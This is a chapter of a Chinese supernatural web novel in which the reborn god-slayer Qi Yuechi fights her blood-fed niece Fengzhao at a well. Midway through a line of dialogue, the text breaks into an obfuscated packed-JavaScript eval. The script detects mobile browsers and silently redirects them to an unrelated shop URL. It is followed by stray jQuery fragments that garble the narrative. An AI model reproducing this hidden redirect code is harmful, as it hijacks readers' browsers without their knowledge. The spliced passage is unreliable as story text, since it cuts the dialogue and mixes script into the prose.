文趣网 > 其他小说 > 超度我 > 11. 井中
    眼睛们盯着齐月驰,一眨一眨,有的还害怕似的,挤成一团。看去竟然像挤在井底的无数葡萄,剔透可爱。

    井底浮现出一张面容,随着天心明月荡漾。

    井底有水。

    细看去,红衣、白骨、少年、面容森森......

    齐月驰蹙眉。待她再看去,面容又恢复了那张宛然含情的少年面孔。

    萧明绎在水里的嘴一张一合:

    不要看!

    不要看?

    她霍然回头。

    背后空空荡荡,不知何时,萧明绎竟消失了!

    她的眼神陡然凌厉。溟母在哪?

    问心化为丝线缕缕缠绕不绝,迫近井底的眼。

    眼睛们缩成一团。瞳子惊恐地乱窜。

    它们害怕!

    正值深夜,摇曳的树影移过女墙,在井边投出暗影。齐月驰抬起头,灯们骤然熄灭,连带着燕子那盏。灯灭前,燕子对她露出一个微笑。

    陷入黑暗。

    此地空无一人,氛围让人发毛,齐月驰却迅速冷静下来。

    不对!

    她自从重生以来,便处处都是异常。她怎么就莫名奇妙地醒来?醒来后又怎么卷入鬼婴儿的事件,找到郑家?

    郑家又怎么献祭活人给溟母,又怎么会失败?本该降临的溟母,又为何没有降临?

    以及,最关键的一点,那个行踪不明的红衣少年......

    齐月驰冷笑,问心化剑,此刻虽无风,可她的白衣依然浮动,煞气丝丝缕缕地溢出来,无数树叶被煞气所削,纷纷化为齑粉。

    这是独属于一千年以前的,弑神者的气场。

    “我不管你要捣什么鬼。给我出来。躲起来鬼鬼祟祟算什么本事。”

    “锃”地一声,月光划过问心剑。没有反应。

    齐月驰一足踏在井沿上,如雪的手拂过剑,面上一派怡然自得的微笑:“哈哈,原来吓得连露面都不敢。够窝囊的。那这样,算你惜败。哦不对,你连露面都不敢,连败都算不上......"

    话音刚落,忽然狂风大作,卷起满地树叶,成了一个树叶小人。小人伸手来夺剑,歪头看她,她却不管,只原地抱着胳膊:

    ”你看,又急。“

    树叶”啪“地一声炸到四面八方。幽幽的黑暗之中,不知何时竟然转出来一个人:

    ”谁说我急了?“

    此人依旧身着红衣,身上缀满银饰,走动起来泠泠地响。眉心有一颗红痣,不过梳着双丫髻,显然是个七八岁少女形象。

    齐月驰看见那张脸,却是微微一愣。

    见齐月驰没反应,红衣少女又重复一遍:”喂,你没听见?现在,这里没有一个人,连一个鬼魂都不会有。不管你之前是谁,现在,叫破了喉咙,也别想有人帮你!“

    齐月驰抱臂:”没想叫。“

    她站在那不动,目光却将那红衣少女从头到脚打量一番,一面啧啧叹息。

    红衣少女气急,伸出手,井底的一颗眼珠便被她捏在两手指之间,瞳子还在疯狂地乱动,害怕得很。少女道:

    ”你再叹一次,我便杀一只眼睛!你不是最看不得他们受苦吗?”

    “这上面的每颗眼珠,可附着一个人呢。”

    齐月驰不动。但她悠悠地说:“你可以试试看。”

    少女望着她那双眼睛。那双眼睛总是很平静,慈悲的同时又有些冷,像......天边的月一样。

    想到母亲讲面前之人弑神的传说,她不免打了个冷颤。

    可是她身体里流淌的血脉,叫她绝不可能服气。于是,她伸手一张,眼睛们从井底深处纷纷跳进她的手心,而她毫不犹豫,将手一攥......

    一蓬鲜血喷出,染红了齐月驰的白衣。她的面容却冷,在月光下宛如审判众神的修罗。

    红衣少女低头一看,她的手,形容惨白,肢体僵硬,已经掉在了地上。

    眼睛无声地跳跃。

    红衣少女不可置信地睁大了眼。

    “你真的对我动手......”

    齐月驰没吭声,只冷冷盯着她。红衣少女的衣衫咯吱咯吱响,从血肉之中生出一朵肉芽,那芽越长越茁壮,倏忽之间,便生出了一只新手。

    不对,两只,三只......手长得越来越多。

    “够了!”

    齐月驰冷道。

    “你这每只手,都是从无辜之人的血肉中长出来的。长成这种鬼样子,你还有脸站在这吗?”

    红衣少女听这话,几乎气得倒仰,愤怒把她那张幼小的脸撑的狰狞。

    “是是是,您最有脸,有脸到众叛亲离,有脸到宁愿杀了自己的族人再魂飞魄散!”

    黑色的手臂于黑暗中疯涨,好像齐月驰心中的想法,不断生长:

    “你以为,你自己就不恨吗?装仁义君子,装一千多年了,累了没有?”

    红衣少女的话扭曲而快意:

    “我要是你,早该自......”

    红衣少女陡然睁大了眼。她缓缓低下头,这才看见,她小小的身躯已经被一柄骨刃穿透了,鲜血从她的身躯中喷涌而出。

    萧明绎面容笼在黑暗处,看不真切:

    “你说谁自杀啊?”

    他把手中的骨刃送得更深了一些。

    红衣少女抬眼,看到此时恶鬼一样的萧明绎,她虽然痛得龇牙咧嘴,却眯起眼,笑了:

    “别笑我了,你和我又没区别。”

    她恶毒地看了眼齐月驰的神情,声音变得轻柔:“小心啊,她可是连亲娘都能杀。你猜,她会不会杀你?”

    “刺啦”一声,骨刃从腹中抽出,与骨相摩擦,激出一声牙酸的声响。

    萧明绎微笑,抹去面上的血,更显得森然冷峭。

    ”关你什么事?我愿意的很。“

    还没等红衣少女的伤口愈合,萧明绎眼疾手快,齐刷刷将她背上所生数个手臂斩断。齐月驰伸出手,搭在他肩上,摇头。

    “我认得她。”

    “凤沼,一千年了,你还没有放下你母亲的执念吗?”

    凤沼,是前齐朝时,她妹妹的小女儿,她的亲侄女。她原以为,前齐朝覆灭,故国之人该一个也留不下来才是,没想到这个侄女竟顽强地活到一千年后,更没想到,见面,她竟然成了这副摸样......

    更没想到,她竟然成了神。一个靠人贡献血肉为生的,神。

    见齐月驰叫破自己的身份,凤沼也不再隐瞒:

    ”你以为世上尽是和你一样的忘恩负义之人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531408|203655||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吗?“凤沼的声音像毒蛇,把齐月驰一圈一圈地缠绕,缠紧。

    ”哦,对,我忘了,你不光杀了我母亲,你还杀了你娘,你爹,哈哈哈哈,现在也要杀了我吗?“

    ”我没想过杀你。“

    ”嗯嗯,但我不得不杀你,这话听得叫我恶心。呵呵,当初你杀我娘的时候是不是就这一副冠冕堂皇的嘴脸?“

    ”我也没想过杀她们。“

    齐月驰轻声道。

    “哦?所以呢?你该怎么对付我这个,亲手杀了她妈妈的女儿呢?我活了一千年,就是为了再看到你这样一副嘴脸!你说你该怎么办呢?亲手杀了我?还是放了我?”

    齐月驰轻叹:“你有自己的因果!”

    一只黑色的手臂从凤沼身上生长而出,扭曲着攻击而来。

    齐月驰侧身躲过,能看见那只手上鲜红的指甲。

    是个女子的手。

    那只手臂在触到齐月驰衣角前,便被骨刃利落地斩断。手落地时尚带着硬生生的骨茬。

    “你长再多手又有什么用,我能卸一只,便能卸第二只。”

    齐月驰利落地躲开第二只,却听到轰隆隆的声响,抬首一看,目瞪口呆。

    凤沼身上一层小女孩的人皮如水般化开,生长出一个成年的,鲜妍的女子形态,而这个形态,也在不停地生长,生长。无数的肢体继续生长出来。

    化法相!

    而这张脸……

    齐月驰盯着那张脸,感觉到灵魂深处的撕裂地痛。

    这是她前世的面容!

    她重生以来,她也曾临镜自照,虽有八分相似之处,却总差了那么一重,朦朦胧胧的味道。

    此刻与自己前世这张脸相对,她望着她额心那抹弯月,忽然福至心灵。

    但她的头更痛了!眼前的一切忽明忽暗,陷入黑暗之际,忽然,萧明绎的声音吹入她耳边。

    凉凉的,像一阵风。

    “把手给我。”

    “你也不想真杀了她,那我们就——”

    “玩一玩。”

    齐月驰的眼前发黑。她倒不是应付不来,只是她重生之后灵体不稳,再用灵力,怕是有消散的风险。

    还未待理清思绪,萧明绎便握住她的手。

    那只手触手冰凉,却十分有力,妥帖地、静静地握着。

    她几乎能摸到少年手背上的脉搏。

    萧明绎不知从哪,又伸手捉来一片花瓣,再轻轻摇一摇,竟成了铃铛。

    丁零当啷……

    “告诉我,这张面皮是谁的?”

    “是……阎浮月的。”

    不知受了什么刺激,凤沼伸出双手,颤颤巍巍,将脸上的面皮揭了下来。

    萧明绎却郑重地很。他伸手,小心翼翼面皮捧在手中,方才长出一口气。

    “怎么?”

    “你的脸呀。被她用去,我觉得恶心。”

    萧明绎理所当然道。

    他继续摇了摇手上的铃,又一种几乎蛊惑人心的声音问:

    “怎么害了这么多人?害人可是要偿命的。怎么办,不会把全身肢解了偿还吧?”

    “你为什么这么恨她?”

    “我倒好奇,郑家跟你说了什么,让你非要死心塌地当他们的傀儡?”